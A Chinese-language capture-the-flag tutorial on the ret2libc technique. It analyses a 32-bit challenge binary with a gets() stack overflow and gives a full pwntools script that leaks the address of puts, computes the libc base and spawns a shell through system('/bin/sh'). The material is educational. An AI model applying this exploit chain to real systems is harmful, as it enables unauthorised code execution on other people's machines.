原理
上面提到了一个措施,ASLR,它在开启后会对共享libc,堆,和栈的地址进行随机化,所谓的随机化呢,就是偏移。其实也就是会对共享libc,堆,和栈的地址进行偏移。下图展示了虚拟内存的结构,由上到下分别是内核,栈,libc,堆。这里的偏移会使每一块的整体发生变化,而不是杂乱无章的改变其中的某一部分的值,
比方说下图的libcshell,偏移会使它整体移动一定的距离,那我们计算的就是移动后的基地址是多少,接下来,可以看下面的实操例题,就结合32位程序讲解下。
一键3连,32位程序,开了NX保护
同时使用file 命令看见 dynamically linked 说明该程序是一个动态链接程序
IDA中发现不存在直接的后门函数可以打,那就自己构建后门函数。
比对输入的字符串和字符串'yes'是否相同,相同便调跳转到function函数中,不同便输出"Okay, excuse me."后退出程序
继续跟进function函数中分析
看输入是不是yes,是的话就进入star函数
跟进star函数
接下来使用了gets函数读取用户数据到s变量中
很明显的栈溢出
经过上面的仔细分析,就是说,思路就是,根据程序的要求,先发送2次yes然后栈溢出,由于是动态链接,开了NX保护也没有后门函数,我们要使用ret2libc进行攻击,由于题目中多次调用puts函数,所以我们可以选择泄露puts的地址
使用栈溢出攻击首先要计算出覆盖的垃圾数据的长度
明显可以看到,padding= 0x6C + 4
接下来以star函数作为返回地址,以star函数作为返回地址可以使我们第二次栈溢出的时候不需要再按照程序逻辑输入2次yes而且star函数是唯一有栈溢出的函数,所以返回地址的正确选取很重要,之前有一次做题返回地址没选好,给自己增加了很多不必要的麻烦.......
接下来就可以构造payload了
先泄露一下基地址
这里,推荐一个网站,libc-database 我们需要泄露出的puts的真实地址的后3位作为索引去libc网站中寻找对应的libc库
将后3位复制下来拉入网站,然后找到对应的libc信息,这里有很多libc库,可以都试一试,因为对方服务器的libc库是不知道的。
(但是可以不需要这么麻烦,直接使用libcsearch自动化搜索好自己选择也行)
接下来就是计算libc_base也就是libc的基地址了
最后构造payload实现攻击就行了
脚本如下:
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name,
addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
def bug(name):
global p,elf
p = process(name)
#p = remote("ip",port)
elf = ELF(name)
bug("./game")
libc = ELF('./libc.so.6')
payload = b'a'* (0x6c+4)+ p32(elf.plt['puts'] ) + p32(0x080485F4) + p32(elf.got['puts'] )
sla('play game?\n','yes')
sla('your learning?\n','yes')
p.sendlineafter('as you!\n',payload)
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
leak('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym.puts
leak('libc_base',libc_base)
system = libc_base + libc.sym.system
binsh = libc_base + libc.search(b'/bin/sh').__next__()
payload =b'a'*(0x6c+4) + p32(system) + p32(0xdeadbeef) + p32(binsh)
sleep(1)
p.sendline(payload)
p.interactive()
这个是最基础的32位的ret2libc,还有64位程序的也差不多,就是传参的方式变了,攻击的payload构造的思路是一样的。
但是比赛往往都会加上canary保护,pie保护,结合格式化字符串漏洞来考察ret2libc,很少单独考这种攻击手法。
但是泄露libc和计算公式都是一样进行的,加了保护无非就是套娃,一层一层套出来,最后还是要回归到本质来实现攻击的。